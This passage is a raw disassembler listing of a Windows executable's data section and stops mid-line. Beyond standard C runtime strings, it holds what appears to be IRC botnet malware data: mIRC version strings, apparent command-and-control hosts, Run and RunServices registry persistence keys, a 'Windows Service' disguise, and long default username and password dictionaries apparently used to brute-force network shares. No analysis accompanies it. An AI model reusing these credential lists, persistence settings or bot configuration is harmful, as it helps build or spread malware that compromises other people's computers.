for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_447A5Co db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVis_0 db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_428880+1A4o align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_428880:loc_4289CAo db 0Ah db 'Program: ',0 align 4 aWinsig_c db 'winsig.c',0 ; DATA XREF: .data:00428FA1o align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_4293F0+5Fo align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_4293F0:loc_42943Bo aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_4293F0+2Ao aOsfinfo_c db 'osfinfo.c',0 ; DATA XREF: sub_4294B0+138o align 10h dword_435700 dd 0FFFFFFFFh, 429CA4h, 429CAAhdword_43570C dd 7465675Fh, 2E667562h, 63h ; sub_429D20+48o dword_435718 dd 6F74626Dh, 632E6377h, 0aMb_cur_max1Mb_ db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: sub_42A6C0+18o align 4 aUngetc_c db 'ungetc.c',0 ; DATA XREF: .data:0042AC46o ; sub_42ACA0+16o align 4 aInittime_c db 'inittime.c',0 ; DATA XREF: sub_42BD70+13o align 10h aInitnum_c db 'initnum.c',0 ; DATA XREF: sub_42C6F0+1CFo ; sub_42C6F0+215o ... align 4 aInitmon_c db 'initmon.c',0 ; DATA XREF: .data:0042CA33o align 4 aInitctyp_c db 'initctyp.c',0 ; DATA XREF: .data:0042CED2o ; .data:0042CEEBo ... align 4 aParaguay db 'Paraguay',0 align 10h aUruguay db 'Uruguay',0 aChile db 'Chile',0 ; DATA XREF: .data:00447F64o align 10h aEcuador db 'Ecuador',0 ; DATA XREF: .data:00447F38o aArgentina db 'Argentina',0 align 4 aPeru db 'Peru',0 align 4 aColombia db 'Colombia',0 ; DATA XREF: .data:00447EB4o align 4 aVenezuela db 'Venezuela',0 align 4 aDominicanRepub db 'Dominican Republic',0 ; DATA XREF: .data:00447E5Co align 4 aSouthAfrica db 'South Africa',0 align 4 aPanama db 'Panama',0 ; DATA XREF: .data:00447E04o align 10h aLuxembourg db 'Luxembourg',0 ; DATA XREF: .data:00447DD8o align 4 aCostaRica db 'Costa Rica',0 ; DATA XREF: .data:00447DACo align 4 aSwitzerland db 'Switzerland',0 aGuatemala db 'Guatemala',0 ; DATA XREF: .data:00447D54o align 10h aCanada db 'Canada',0 ; DATA XREF: .data:00447D28o align 4 aSpanishModernS db 'Spanish - Modern Sort',0 ; DATA XREF: .data:00447CF4o align 10h aAustralia db 'Australia',0 ; DATA XREF: .data:00447CD0o align 4 aEnglish db 'English',0 ; DATA XREF: .data:00447CC8o ; .data:00447E28o aAustria db 'Austria',0 ; DATA XREF: .data:00447CA4o aGerman db 'German',0 ; DATA XREF: .data:00447C9Co align 4 aBelgium db 'Belgium',0 ; DATA XREF: .data:00447C78o aMexico db 'Mexico',0 ; DATA XREF: .data:00447C4Co align 4 aSpanish db 'Spanish',0 ; DATA XREF: .data:00447C44o ; .data:00447D4Co ... aBasque db 'Basque',0 ; DATA XREF: .data:00447C18o align 4 aSweden db 'Sweden',0 ; DATA XREF: .data:00447BF4o align 4 aSwedish db 'Swedish',0 ; DATA XREF: .data:00447BECo aIceland db 'Iceland',0 ; DATA XREF: .data:00447BC8o aIcelandic db 'Icelandic',0 ; DATA XREF: .data:00447BC0o align 4 aFrance db 'France',0 ; DATA XREF: .data:00447B9Co align 10h aFrench db 'French',0 ; DATA XREF: .data:00447B94o ; .data:00447C70o ... align 4 aFinland db 'Finland',0 ; DATA XREF: .data:00447B70o aFinnish db 'Finnish',0 ; DATA XREF: .data:00447B68o aSpain db 'Spain',0 ; DATA XREF: .data:off_447B44o ; .data:00447CFCo align 10h aSpanishTraditi db 'Spanish - Traditional Sort',0 ; DATA XREF: .data:off_447B3Co align 4 aUnitedStates db 'united-states',0 align 4 aUnitedKingdom db 'united-kingdom',0 align 4 aTrinidadTobago db 'trinidad & tobago',0 align 10h aSouthKorea db 'south-korea',0 aSouthAfrica_0 db 'south-africa',0 align 4 aSouthKorea_0 db 'south korea',0 aSouthAfrica_1 db 'south africa',0 align 4 aSlovak db 'slovak',0 align 10h aPuertoRico db 'puerto-rico',0 aPrChina db 'pr-china',0 align 4 aPrChina_0 db 'pr china',0 align 4 aNz db 'nz',0 align 4 aNewZealand db 'new-zealand',0 aHongKong db 'hong-kong',0 align 10h aHolland db 'holland',0 aGreatBritain db 'great britain',0 align 4 aEngland db 'england',0 aCzech db 'czech',0 align 4 aChina db 'china',0 align 10h aBritain db 'britain',0 ; DATA XREF: .data:00447FF0o aAmerica db 'america',0 ; DATA XREF: .data:off_447FE8o aUsa db 'usa',0 aUs db 'us',0 align 4 aUk db 'uk',0 align 4 aSwiss db 'swiss',0 align 4 aSwedishFinland db 'swedish-finland',0 aSpanishVenezue db 'spanish-venezuela',0 align 4 aSpanishUruguay db 'spanish-uruguay',0 aSpanishPuertoR db 'spanish-puerto rico',0 aSpanishPeru db 'spanish-peru',0 align 4 aSpanishParagua db 'spanish-paraguay',0 align 10h aSpanishPanama db 'spanish-panama',0 align 10h aSpanishNicarag db 'spanish-nicaragua',0 align 4 aSpanishModern db 'spanish-modern',0 align 4 aSpanishMexican db 'spanish-mexican',0 aSpanishHondura db 'spanish-honduras',0 align 4 aSpanishGuatema db 'spanish-guatemala',0 align 4 aSpanishElSalva db 'spanish-el salvador',0 aSpanishEcuador db 'spanish-ecuador',0 aSpanishDominic db 'spanish-dominican republic',0 align 4 aSpanishCostaRi db 'spanish-costa rica',0 align 10h aSpanishColombi db 'spanish-colombia',0 align 4 aSpanishChile db 'spanish-chile',0 align 4 aSpanishBolivia db 'spanish-bolivia',0 aSpanishArgenti db 'spanish-argentina',0 align 4 aPortugueseBraz db 'portuguese-brazilian',0 align 10h aNorwegianNynor db 'norwegian-nynorsk',0 align 4 aNorwegianBokma db 'norwegian-bokmal',0 align 4 aNorwegian db 'norwegian',0 align 4 aItalianSwiss db 'italian-swiss',0 align 4 aIrishEnglish db 'irish-english',0 align 4 aGermanSwiss db 'german-swiss',0 align 4 aGermanLuxembou db 'german-luxembourg',0 align 4 aGermanLichtens db 'german-lichtenstein',0 aGermanAustrian db 'german-austrian',0 aFrenchSwiss db 'french-swiss',0 align 4 aFrenchLuxembou db 'french-luxembourg',0 align 10h aFrenchCanadian db 'french-canadian',0 aFrenchBelgian db 'french-belgian',0 align 10h aEnglishUsa db 'english-usa',0 aEnglishUs db 'english-us',0 align 4 aEnglishUk db 'english-uk',0 align 4 aEnglishTrinida db 'english-trinidad y tobago',0 align 10h aEnglishSouthAf db 'english-south africa',0 align 4 aEnglishNz db 'english-nz',0 align 4 aEnglishJamaica db 'english-jamaica',0 aEnglishIre db 'english-ire',0 aEnglishCaribbe db 'english-caribbean',0 align 4 aEnglishCan db 'english-can',0 aEnglishBelize db 'english-belize',0 align 10h aEnglishAus db 'english-aus',0 aEnglishAmerica db 'english-american',0 align 10h aDutchBelgian db 'dutch-belgian',0 align 10h aChineseTraditi db 'chinese-traditional',0 aChineseSingapo db 'chinese-singapore',0 align 4 aChineseSimplif db 'chinese-simplified',0 align 4 aChineseHongkon db 'chinese-hongkong',0 align 10h aChinese db 'chinese',0 aChi db 'chi',0 aChh db 'chh',0 aCanadian db 'canadian',0 align 4 aBelgian db 'belgian',0 aAustralian db 'australian',0 align 10h aAmericanEnglis db 'american-english',0 align 4 aAmericanEngl_0 db 'american english',0 align 4 aAmerican db 'american',0 ; DATA XREF: .data:off_4480A0o align 4 aOcp db 'OCP',0 ; DATA XREF: sub_42DC00:loc_42DC53o aAcp db 'ACP',0 ; DATA XREF: sub_42DC00+16o aChsize_c db 'chsize.c',0 ; DATA XREF: sub_42E2C0+38o align 4 aSize0 db 'size >= 0',0 ; DATA XREF: sub_42E2C0+2Co align 4 a1Qnan db '1#QNAN',0 ; DATA XREF: sub_42F370:loc_42F52Fo align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_42F370+19Bo align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_42F370+168o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_42F370+125o align 4 aHMmSs db 'H:mm:ss',0 ; DATA XREF: .data:00448358o aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:00448354o aMDYy db 'M/d/yy',0 ; DATA XREF: .data:00448350o align 4 aPm_1 db 'PM',0 ; DATA XREF: .data:0044834Co align 4 aAm_0 db 'AM',0 ; DATA XREF: .data:00448348o align 10h aDecember db 'December',0 ; DATA XREF: .data:00448344o align 4 aNovember db 'November',0 ; DATA XREF: .data:00448340o align 4 aOctober db 'October',0 ; DATA XREF: .data:0044833Co aSeptember db 'September',0 ; DATA XREF: .data:00448338o align 4 aAugust db 'August',0 ; DATA XREF: .data:00448334o align 4 aJuly db 'July',0 ; DATA XREF: .data:00448330o align 4 aJune db 'June',0 ; DATA XREF: .data:0044832Co align 4 aApril db 'April',0 ; DATA XREF: .data:00448324o align 4 aMarch db 'March',0 ; DATA XREF: .data:00448320o align 4 aFebruary db 'February',0 ; DATA XREF: .data:0044831Co align 10h aJanuary db 'January',0 ; DATA XREF: .data:00448318o aDec db 'Dec',0 ; DATA XREF: .data:00448314o aNov db 'Nov',0 ; DATA XREF: .data:00448310o aOct db 'Oct',0 ; DATA XREF: .data:0044830Co aSep db 'Sep',0 ; DATA XREF: .data:00448308o aAug db 'Aug',0 ; DATA XREF: .data:00448304o aJul db 'Jul',0 ; DATA XREF: .data:00448300o aJun db 'Jun',0 ; DATA XREF: .data:004482FCo aMay db 'May',0 ; DATA XREF: .data:004482F8o ; .data:00448328o aApr db 'Apr',0 ; DATA XREF: .data:004482F4o aMar db 'Mar',0 ; DATA XREF: .data:004482F0o aFeb db 'Feb',0 ; DATA XREF: .data:004482ECo aJan db 'Jan',0 ; DATA XREF: .data:004482E8o aSaturday db 'Saturday',0 ; DATA XREF: .data:004482E4o align 4 aFriday db 'Friday',0 ; DATA XREF: .data:004482E0o align 4 aThursday db 'Thursday',0 ; DATA XREF: .data:004482DCo align 4 aWednesday db 'Wednesday',0 ; DATA XREF: .data:004482D8o align 4 aTuesday db 'Tuesday',0 ; DATA XREF: .data:004482D4o aMonday db 'Monday',0 ; DATA XREF: .data:004482D0o align 4 aSunday db 'Sunday',0 ; DATA XREF: .data:004482CCo align 4 aSat db 'Sat',0 ; DATA XREF: .data:004482C8o aFri db 'Fri',0 ; DATA XREF: .data:004482C4o aThu db 'Thu',0 ; DATA XREF: .data:004482C0o aWed db 'Wed',0 ; DATA XREF: .data:004482BCo aTue db 'Tue',0 ; DATA XREF: .data:004482B8o aMon db 'Mon',0 ; DATA XREF: .data:004482B4o aSun db 'Sun',0 ; DATA XREF: .data:off_4482B0o aAP db 'a/p',0 ; DATA XREF: sub_4307E0:loc_4309D3o aAmPm db 'am/pm',0 ; DATA XREF: sub_4307E0:loc_4309B3o align 4 aInithelp_c db 'inithelp.c',0 ; DATA XREF: sub_430D00+9Co ; sub_430D00+F1o align 10h dword_435F80 dd 0FFFFFFFFh, 4310C7h, 4310CDh, 0FFFFFFFFh, 431146h, 43114Ch ; DATA XREF: sub_430FA0+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 10h aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTzset_c db 'tzset.c',0 ; DATA XREF: sub_431AB0+1D1o aTz db 'TZ',0 ; DATA XREF: sub_431AB0+35o align 8 dword_435FE8 dd 0FFFFFFFFh, 43248Dh, 432493h, 0dword_435FF8 dd 0FFFFFFFFh, 43262Fh, 432635hdword_436004 dd 6D6F7477h, 766E6562h, 632Ehdword_436010 dd 6D635F61h, 632E70haCchcount10Cchc db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0 ; DATA XREF: sub_4328E0:loc_432A53o align 4 dword_436058 dd 0FFFFFFFFh, 432BBFh, 432BC5h, 0FFFFFFFFh, 432C5Dh, 432C63h ; DATA XREF: sub_4328E0+5o dword_436070 dd 65746573h, 632E766Eh, 0 ; sub_432D30+F2o ... aStringTooLong db 'string too long',0 ; DATA XREF: sub_433270+1Fo dd offset dword_436170 off_436090 dd offset sub_4333F0 ; DATA XREF: sub_4332D0+44o ; sub_433390+1Fo ... dd offset sub_433340 dd offset sub_433360 dd offset dword_4361C0 off_4360A0 dd offset sub_433510 ; DATA XREF: sub_433420+16o ; sub_4334C0+Ao ... dd offset sub_433340 dd offset sub_4334E0 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_433570+1Fo dd offset dword_436210 off_4360C8 dd offset sub_433650 ; DATA XREF: sub_4335D0+16o ; sub_433600+Ao ... dd offset sub_433340 dd offset sub_433620 dd 0FFFFFFFFh, 436240h off_4360DC dd offset sub_433B50 ; DATA XREF: .data:00433B2Ao ; sub_433B80+Co ... dd offset sub_433CF0 aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_433CF0:loc_433D08o align 4 dd offset dword_436288 off_4360FC dd offset sub_433D60 ; DATA XREF: sub_433D20+Ao ; .data:00433E4Ao ... dword_436100 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0) off_436120 dd offset off_448780 ; DATA XREF: .data:00436154o ; .data:004361A8o ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_436138 dd offset off_448798 ; DATA XREF: .data:00436150o ; .data:004361A4o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_436138 dd offset off_436120 dword_436158 dd 4 dup(0) dd 2, 436150h dword_436170 dd 3 dup(0) dd offset off_448798 dd offset dword_436158+8 align 8 off_436188 dd offset off_4487B8 ; DATA XREF: .data:004361A0o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_436188 dd offset off_436138 dd offset off_436120 dword_4361AC dd 3 dup(0) dd 3, 4361A0h dword_4361C0 dd 3 dup(0) dd offset off_4487B8 dd offset dword_4361AC+4 align 8 off_4361D8 dd offset off_4487D8 ; DATA XREF: .data:004361F0o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_4361D8 dd offset off_436138 dd offset off_436120 dword_4361FC dd 3 dup(0) dd 3, 4361F0h dword_436210 dd 3 dup(0) dd offset off_4487D8 dd offset dword_4361FC+4 dd offset off_436120 dword_436228 dd 4 dup(0) dd 1, 436224h, 3 dup(0) dd offset off_448780 dd offset dword_436228+8 align 8 off_436258 dd offset off_4487F8 ; DATA XREF: .data:00436270o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_436258 dd 0 db 0 ; DATA XREF: .data:00436298o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 436270h dword_436288 dd 3 dup(0) dd offset off_4487F8 dd offset unk_436278 align 10h dd 0FFFFFFFFh, 433EC0h, 0 dd offset loc_433EC8 dd 1, 433ED0h, 2, 433ED8h dword_4362C0 dd 19930520h, 4, 4362A0h, 4 dup(0) dd 0FFFFFFFFh, 433EF4h, 0 dd offset loc_433EEC dword_4362EC dd 19930520h, 2, 4362DCh, 4 dup(0) dd 0FFFFFFFFh, 433F15h, 0 dd offset loc_433F1D dword_436318 dd 19930520h, 2, 436308h, 4 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) dd offset loc_40C068 dd 2 dup(0) dd 2 dup(1), 436344h dword_436368 dd 19930520h, 2, 436334h, 1, 436354h, 4 dup(0) ; DATA XREF: .data:loc_433F30o dd offset off_448780 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 433BF0h, 2 dup(0) dd offset off_448798 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4332D0h, 2 dup(0) dd offset off_4487B8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 433540h, 0 dword_4363E8 dd 3, 4363C8h, 4363A8h, 436388hdword_4363F8 dd 0 ; sub_4334E0+15o dd offset sub_4334C0 dd 0 dd offset dword_4363E8 dword_436408 dd 19930520h, 1, 436428h, 5 dup(0) dd 0FFFFFFFFh, 433F40h dword_436430 dd 19930520h, 1, 436450h, 5 dup(0)dword_436450 dd 0FFFFFFFFh, 433F60h, 2, 4363A8h, 436388h, 0dword_436468 dd 0 dd offset sub_433390 dd 0 dd offset dword_436450+8 dword_436478 dd 19930520h, 1, 436498h, 5 dup(0) dd 0FFFFFFFFh, 433F80h dword_4364A0 dd 19930520h, 1, 4364C0h, 5 dup(0) dd 0FFFFFFFFh, 433FA0h, 0 dd offset off_4487D8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 433680h, 0 dword_4364E8 dd 3, 4364C8h, 4363A8h, 436388hdword_4364F8 dd 0 ; sub_433620+15o dd offset sub_433600 dd 0 dd offset dword_4364E8 dword_436508 dd 19930520h, 1, 436528h, 5 dup(0) dd 0FFFFFFFFh, 433FC0h, 2B4h dup(0) dword_437000 dd 0 dd offset loc_4013E8 dd offset loc_40BB98 dd offset sub_40CE39 dd offset sub_4336B0 dword_437014 dd 0 dword_437018 dd 0 dd offset sub_419F80 dd offset sub_41ACD0 dd offset sub_4222D0 dd offset sub_42A550 dword_43702C dd 0 dword_437030 dd 0 dd offset sub_41AE00 dword_437038 dd 0 dword_43703C dd 0 dd offset sub_42A570 dword_437044 dd 3 dup(0) dword_437050 dd 80000002h off_437054 dd offset byte_4371E8 ; DATA XREF: sub_401000+1Er dd 80000002h, 437218h, 80000001h, 4371E8h dword_437068 dd 6272h, 0 dword_437070 dd 1E60h ; sub_401404+517r dword_437074 dd 1E60h dd 7E4h dword_43707C dd 45h ; sub_40A01B+3Br dword_437080 dd 52h ; sub_40A01B:loc_40A403r dd 201h word_437088 dw 7C7h ; DATA XREF: sub_401C87:loc_4042C3r align 4 dword_43708C dd 1 dword_437090 dd 1 dword_437094 dd 1 ; sub_411DDE+Cr byte_437098 db 2Eh ; DATA XREF: sub_401C87+A60r ; sub_401C87+B1Ar ... align 4 dword_43709C dd 5 ; sub_408F7D+5Fr ... dword_4370A0 dd 4 ; sub_401C87+277r ... dword_4370A4 dd 1 ; sub_401C87+271r aJav0 db 'Jav0',0 ; DATA XREF: sub_401404+5Do ; sub_401C87:loc_404122o ... align 10h aModdd db 'Moddd',0 ; DATA XREF: sub_401C87:loc_4044AFo ; sub_401C87+3C20o align 4 a_a159753acdb db '_A159753AcDb',0 ; DATA XREF: sub_401C87+5809o ; sub_401C87+58CCo align 4 aXbytez_com_ar db 'xbytez.com.ar',0 ; DATA XREF: sub_401404+47Bo ; sub_401404+508o align 4 byte_4370D8 db 5Fh ; DATA XREF: sub_401B0B+28r ; sub_401B0B+30o aA159753 db 'A159753',0 align 4 aJ00 db '#j00#',0 ; DATA XREF: sub_401404+49Bo ; sub_401404+51Eo align 4 byte_4370EC db 75h ; DATA XREF: sub_401404+140o ; sub_401404+164w ... db 66h, 6Eh, 79h dd 62697574h, 6578652Eh, 0 dd 6E6E6977h, 78742E74h, 74h aWindowsService db 'Windows Service',0 ; DATA XREF: sub_401000+Bo aJav0_0 db '[Jav0]',0 ; DATA XREF: .data:00408FFBo align 10h aWinsyf_dat db 'winsyf.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401C87+5945o align 4 aXp_0 db '#xp',0 ; DATA XREF: sub_401C87+168Eo ; sub_401C87+192Do ... aKl_0 db '#kl',0 aPs_1 db '#ps',0 a@yobibyte_com_ db '*@yobibyte.com.ar',0 ; DATA XREF: .data:off_437154o align 4 off_437154 dd offset a@yobibyte_com_ ; DATA XREF: sub_401C87+586Cr ; "*@yobibyte.com.ar" aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_4371D8o align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .data:004371DCo align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .data:004371E0o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .data:004371E4o align 4 off_4371D8 dd offset aMircV6_16Khale ; DATA XREF: sub_401C87+880r ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" byte_4371E8 db 53h ; DATA XREF: .data:off_437054o aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 10h aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_413FC4+28o ; sub_4142EA+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_413FC4+D4o ; sub_4142EA+D4o align 10h dd 1 dword_437294 dd 1 aAdministrato_1 db 'administrator',0 ; DATA XREF: .data:00437350o align 4 aAdministrado_0 db 'administrador',0 ; DATA XREF: .data:00437354o align 4 aAdministrate_0 db 'administrateur',0 ; DATA XREF: .data:00437358o align 4 aAdministrat_0 db 'administrat',0 ; DATA XREF: .data:0043735Co aAdmins_0 db 'admins',0 ; DATA XREF: .data:00437360o align 4 aAdmin_1 db 'admin',0 ; DATA XREF: .data:00437364o align 4 aStaff_0 db 'staff',0 ; DATA XREF: .data:00437368o align 4 aRoot_1 db 'root',0 ; DATA XREF: .data:0043736Co align 4 aComputer db 'computer',0 ; DATA XREF: .data:00437370o align 10h aOwner db 'owner',0 ; DATA XREF: .data:00437374o align 4 aStudent_0 db 'student',0 ; DATA XREF: .data:00437378o aTeacher_0 db 'teacher',0 ; DATA XREF: .data:0043737Co aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:00437380o align 4 aGuest_1 db 'guest',0 ; DATA XREF: .data:00437384o align 4 aDefault_0 db 'default',0 ; DATA XREF: .data:00437388o aDatabase_0 db 'database',0 ; DATA XREF: .data:0043738Co align 10h aDba db 'dba',0 ; DATA XREF: .data:00437390o aOracle_0 db 'oracle',0 ; DATA XREF: .data:00437394o align 4 aDb2_0 db 'db2',0 ; DATA XREF: .data:00437398o dd offset aAdministrato_1 ; "administrator" dd offset aAdministrado_0 ; "administrador" dd offset aAdministrate_0 ; "administrateur" dd offset aAdministrat_0 ; "administrat" dd offset aAdmins_0 ; "admins" dd offset aAdmin_1 ; "admin" dd offset aStaff_0 ; "staff" dd offset aRoot_1 ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent_0 ; "student" dd offset aTeacher_0 ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_1 ; "guest" dd offset aDefault_0 ; "default" dd offset aDatabase_0 ; "database" dd offset aDba ; "dba" dd offset aOracle_0 ; "oracle" dd offset aDb2_0 ; "db2" align 10h aAdministrato_2 db 'administrator',0 ; DATA XREF: .data:00437814o align 10h aAdministrado_1 db 'administrador',0 ; DATA XREF: .data:00437818o align 10h aAdministrate_1 db 'administrateur',0 ; DATA XREF: .data:0043781Co align 10h aAdministrat_1 db 'administrat',0 ; DATA XREF: .data:00437820o aAdmins_1 db 'admins',0 ; DATA XREF: .data:00437824o align 4 aAdmin_2 db 'admin',0 ; DATA XREF: .data:00437828o align 4 aAdm_0 db 'adm',0 ; DATA XREF: .data:0043782Co aPassword1_0 db 'password1',0 ; DATA XREF: .data:00437830o align 4 aPassword_0 db 'password',0 ; DATA XREF: .data:00437834o align 4 aPasswd_0 db 'passwd',0 ; DATA XREF: .data:00437838o align 10h aPass1234_0 db 'pass1234',0 ; DATA XREF: .data:0043783Co align 4 aPass_1 db 'pass',0 ; DATA XREF: .data:00437840o align 4 aPwd_0 db 'pwd',0 ; DATA XREF: .data:00437844o a007_0 db '007',0 ; DATA XREF: .data:00437848o a1_0: ; DATA XREF: .data:0043784Co unicode 0, <1>,0 a12_0 db '12',0 ; DATA XREF: .data:00437850o align 4 a123_0 db '123',0 ; DATA XREF: .data:00437854o a1234_0 db '1234',0 ; DATA XREF: .data:00437858o align 10h a12345_0 db '12345',0 ; DATA XREF: .data:0043785Co align 4 a123456_0 db '123456',0 ; DATA XREF: .data:00437860o align 10h a1234567_0 db '1234567',0 ; DATA XREF: .data:00437864o a12345678_0 db '12345678',0 ; DATA XREF: .data:00437868o align 4 a123456789_0 db '123456789',0 ; DATA XREF: .data:0043786Co align 10h a1234567890_0 db '1234567890',0 ; DATA XREF: .data:00437870o align 4 a2000_0 db '2000',0 ; DATA XREF: .data:00437874o align 4 a2001_0 db '2001',0 ; DATA XREF: .data:00437878o align 4 a2002_0 db '2002',0 ; DATA XREF: .data:0043787Co align 4 a2003_1 db '2003',0 ; DATA XREF: .data:00437880o align 4 a2004_0 db '2004',0 ; DATA XREF: .data:00437884o align 4 aTest_0 db 'test',0 ; DATA XREF: .data:00437888o align 4 aGuest_2 db 'guest',0 ; DATA XREF: .data:0043788Co align 4 aNone_0 db 'none',0 ; DATA XREF: .data:00437890o align 4 aDemo_0 db 'demo',0 ; DATA XREF: .data:00437894o align 4 aUnix_0 db 'unix',0 ; DATA XREF: .data:00437898o align 4 aLinux_0 db 'linux',0 ; DATA XREF: .data:0043789Co align 4 aChangeme_0 db 'changeme',0 ; DATA XREF: .data:004378A0o align 10h aDefault_1 db 'default',0 ; DATA XREF: .data:004378A4o aSystem_0 db 'system',0 ; DATA XREF: .data:004378A8o align 10h aServer_6 db 'server',0 ; DATA XREF: .data:004378ACo align 4 aRoot_2 db 'root',0 ; DATA XREF: .data:004378B0o align 10h aNull_2 db 'null',0 ; DATA XREF: .data:004378B4o align 4 aQwerty_0 db 'qwerty',0 ; DATA XREF: .data:004378B8o align 10h aMail_0 db 'mail',0 ; DATA XREF: .data:004378BCo align 4 aOutlook_0 db 'outlook',0 ; DATA XREF: .data:004378C0o aWeb_0 db 'web',0 ; DATA XREF: .data:004378C4o aWww_0 db 'www',0 ; DATA XREF: .data:004378C8o aInternet_1 db 'internet',0 ; DATA XREF: .data:004378CCo align 4 aAccounts_0 db 'accounts',0 ; DATA XREF: .data:004378D0o align 10h aAccounting_0 db 'accounting',0 ; DATA XREF: .data:004378D4o align 4 aHome_0 db 'home',0 ; DATA XREF: .data:004378D8o align 4 aHomeuser_0 db 'homeuser',0 ; DATA XREF: .data:004378DCo align 10h aUser_4 db 'user',0 ; DATA XREF: .data:004378E0o align 4 aOem_0 db 'oem',0 ; DATA XREF: .data:004378E4o aOemuser_0 db 'oemuser',0 ; DATA XREF: .data:004378E8o aOeminstall_0 db 'oeminstall',0 ; DATA XREF: .data:004378ECo align 10h aWindows_0 db 'windows',0 ; DATA XREF: .data:004378F0o aWin98_0 db 'win98',0 ; DATA XREF: .data:004378F4o align 10h aWin2k_0 db 'win2k',0 ; DATA XREF: .data:004378F8o align 4 aWinxp_0 db 'winxp',0 ; DATA XREF: .data:004378FCo align 10h aWinnt_0 db 'winnt',0 ; DATA XREF: .data:00437900o align 4 aWin2000_0 db 'win2000',0 ; DATA XREF: .data:00437904o aQaz_0 db 'qaz',0 ; DATA XREF: .data:00437908o aAsd_0 db 'asd',0 ; DATA XREF: .data:0043790Co aZxc_0 db 'zxc',0 ; DATA XREF: .data:00437910o aQwe_0 db 'qwe',0 ; DATA XREF: .data:00437914o aBob_1 db 'bob',0 ; DATA XREF: .data:00437918o aJen_0 db 'jen',0 ; DATA XREF: .data:0043791Co aJoe_0 db 'joe',0 ; DATA XREF: .data:00437920o aFred_0 db 'fred',0 ; DATA XREF: .data:00437924o align 4 aBill_0 db 'bill',0 ; DATA XREF: .data:00437928o align 4 aMike_0 db 'mike',0 ; DATA XREF: .data:0043792Co align 4 aJohn_0 db 'john',0 ; DATA XREF: .data:00437930o align 4 aPeter_1 db 'peter',0 ; DATA XREF: .data:00437934o align 4 aLuke_0 db 'luke',0 ; DATA XREF: .data:00437938o align 4 aSam_0 db 'sam',0 ; DATA XREF: .data:0043793Co aSue_0 db 'sue',0 ; DATA XREF: .data:00437940o aSusan_0 db 'susan',0 ; DATA XREF: .data:00437944o align 4 aPeter_2 db 'peter',0 ; DATA XREF: .data:00437948o align 4 aBrian_0 db 'brian',0 ; DATA XREF: .data:0043794Co align 4 aLee_0 db 'lee',0 ; DATA XREF: .data:00437950o aNeil_0 db 'neil',0 ; DATA XREF: .data:00437954o align 4 aIan_0 db 'ian',0 ; DATA XREF: .data:00437958o aChris_0 db 'chris',0 ; DATA XREF: .data:0043795Co align 4 aEric_0 db 'eric',0 ; DATA XREF: .data:00437960o align 4 aGeorge_0 db 'george',0 ; DATA XREF: .data:00437964o align 4 aKate_0 db 'kate',0 ; DATA XREF: .data:00437968o align 4 aBob_2 db 'bob',0 ; DATA XREF: .data:0043796Co aKatie_0 db 'katie',0 ; DATA XREF: .data:00437970o align 4 aMary_0 db 'mary',0 ; DATA XREF: .data:00437974o align 10h aLogin_1 db 'login',0 ; DATA XREF: .data:00437978o align 4 aLoginpass_0 db 'loginpass',0 ; DATA XREF: .data:0043797Co align 4 aTechnical_0 db 'technical',0 ; DATA XREF: .data:00437980o align 10h aBackup_0 db 'backup',0 ; DATA XREF: .data:00437984o align 4 aExchange_0 db 